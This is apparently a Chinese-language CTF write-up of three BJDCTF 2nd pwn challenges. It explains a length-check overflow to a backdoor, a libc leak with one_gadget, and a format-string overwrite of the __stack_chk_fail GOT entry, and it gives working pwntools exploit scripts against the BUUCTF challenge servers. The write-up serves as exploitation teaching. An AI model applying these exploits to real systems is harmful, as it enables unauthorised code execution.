BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)

r2t3

最简单的一道题,可是我竟然没有做出来,无语了,,,

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第1张图片

文件保护没啥好说的,,,很正常

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第2张图片

进入name_check函数

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第3张图片

255 ==> 255

256 ==> 0,257 ==> 1,258 ==> 2,259 ==> 3,

260 ==> 4,261 ==> 5,262 ==> 6,263 ==> 7,264 ==> 8

 

我觉得应该是260-264,,,但是试了一下,发现最后的长度介于256-262都可以,,,我也不知道为什么差了这么几个,,,

 

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第4张图片

存在后门函数,,,

 

所以,我们只需要,将输入的串覆盖返回地址,0x11+0x4,然后将字符串长度填充成需要的长度,即可

exp:

#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27400)

p.recvuntil("name:")
payload=(0x11+0x4)*'a'+p32(0x0804858B)
payload=payload.ljust(262,'a')
p.sendline(payload)

p.interactive()

 

one_gadget

其实题目还是比较简单的,但是我不熟,对于这种通过libc计算地址的,,,

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第5张图片

保护竟然全开,,,看到这个有点吓人,,,不过因为题目有漏洞,所以影响不大啦,,,

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第6张图片

可以看到要我们输入v4,而v4是一个函数指针,并且在下面有调用,,,所以我们可以在v4里面输入gadget,,,%ld需要我们将地址转换成十进制的数

因为我们收到的地址是一个字符串,eval()函数是计算括号里面字符串的值,可以将十六进制的数转换成十进制

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第7张图片

init里面直接给我们printf的地址,所以我们可以泄漏libc的地址,,,

先输出一下看看,发现总共14位,

 

开始做题啦,,,

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第8张图片

先到BUUCTF上面把对应版本的libc-2.29.so下载过来

然后找一个gadget

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第9张图片

 

讲一下关于gadget

这里找gadget,要看此时的程序是否满足one_gadget下面的constraints

第一个gadget需要满足的条件是rcx==null、[rbp-0x70]==null 或者 [rcx]==null、[rbp-0x70]==null

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第10张图片

调试让程序走到这里

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第11张图片

方法:(gdb one_gadget,然后b printf,接下来一直n下一步就行【执行到<__isoc99_scanf@plt>,按两次n就行】)

 

解释一下为什么是这里

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第12张图片

因为我们可以看到先调用了__isoc99_scanf函数,记下来并且返回值存放在[rbp-0x18]刚好是v4的地址,因为存储器直接是不能直接传值的,所以用了rax寄存器做中转,[rbp-0x18]的值先传给rax,然后rax的值再传给[rbp-0x10](也就是v5),现在v4和v5的值一样,接下来v5的值给了rdx,接下来调用rdx也就是调用了v4(没有直接调用v4,猜测的可能性,因为v4是还要作为参数)

 

 

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第13张图片

可以看到rcx==null,那么[rcx]==null,满足第一个条件,但是不满足第二个条件,[rbp-0x70]=0x7ffff7fad760 不为null,所以第一个gadget不可以,相应的,我们可以查看其它gadget

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第14张图片

第二个和第三个也都不满足条件

最后看下最后一个,nice,满足条件,[rsp+0x70]==null,所以,我们选择最后一个gadget

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第15张图片

 

然后就可以写exp啦

#coding=utf-8
from pwn import*
context.log_level = 'debug'
p = remote('node3.buuoj.cn',26916)
libc = ELF('./libc-2.29.so')

p.recvuntil('for u:')
printf_addr = p.recv(14)
printf_addr = eval(printf_addr)#转成十进制
log.success('printf_addr==>'+str(printf_addr))#打印到控制台上

base = printf_addr - libc.symbols["printf"]
one_gadget = base + 0x106ef8
log.success("gadget==>"+str(one_gadget))
p.sendlineafter('gadget:',str(one_gadget))
p.interactive()

 

 

 

r2t4

这道题,,,看writeup看了很久没看懂,,,泪崩,,,虽然知道格式化字符串的用法,但是不全吧,,,

 

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第16张图片

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第17张图片

我们读入的字符长度不是很长,还有格式化字符串漏洞,所以想到格式化字符串可以利用的一点,就是写地址,将一处地址修改为backdoor,这处地址在执行完后必须执行,,,

 

这里有个函数,___stack_chk_fail,就是canary保护的一个,如果栈上的canary和一开始存的不一样,就会执行这个函数,然后程序结束,,,所以我们可以修改这个函数的地址,然后read的时候覆盖掉canary为任意值,就可以了,,,

 

 

__stack_chk_fail=elf.got['__stack_chk_fail']

pay = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)

题目中给出的writeup,我来解释一下,,,

BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)_第18张图片后门函数的地址是0x400626

所以覆盖__stack_chk_fail ==> 0x0626(64+1510=1574)

             __stack_chk_fail+2==> 0x40(64)

修改的是__stack_chk_fail的got表,,,

没了,,,,

学长给出了一个更简单的exp,,,

from pwn import *
context.log_level = 'debug'
context(arch='amd64',os='linux',word_size='64')
p = process('./r2t4')
#p = remote("node3.buuoj.cn",27166)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']
pay = "%1574c%8$hnaaaaa"+ p64(__stack_chk_fail)+'a'*20
       #1576 ==> 0x626  前面字符串两个字节,所以6+2=8  20个a是为了让栈溢出                         
p.sendline(pay)
p.interactive()

0x40不需要了是因为,虽然__stack_chk_fail的地址是0x601018,但是实际的地址我们可以gdb看一下(延迟绑定,只有前三位地址会变,后三位地址不变)

所以原来的高4位已经是0x40了,,,啦啦啦,,,

 

 

 

 

 

 

你可能感兴趣的:(pwn)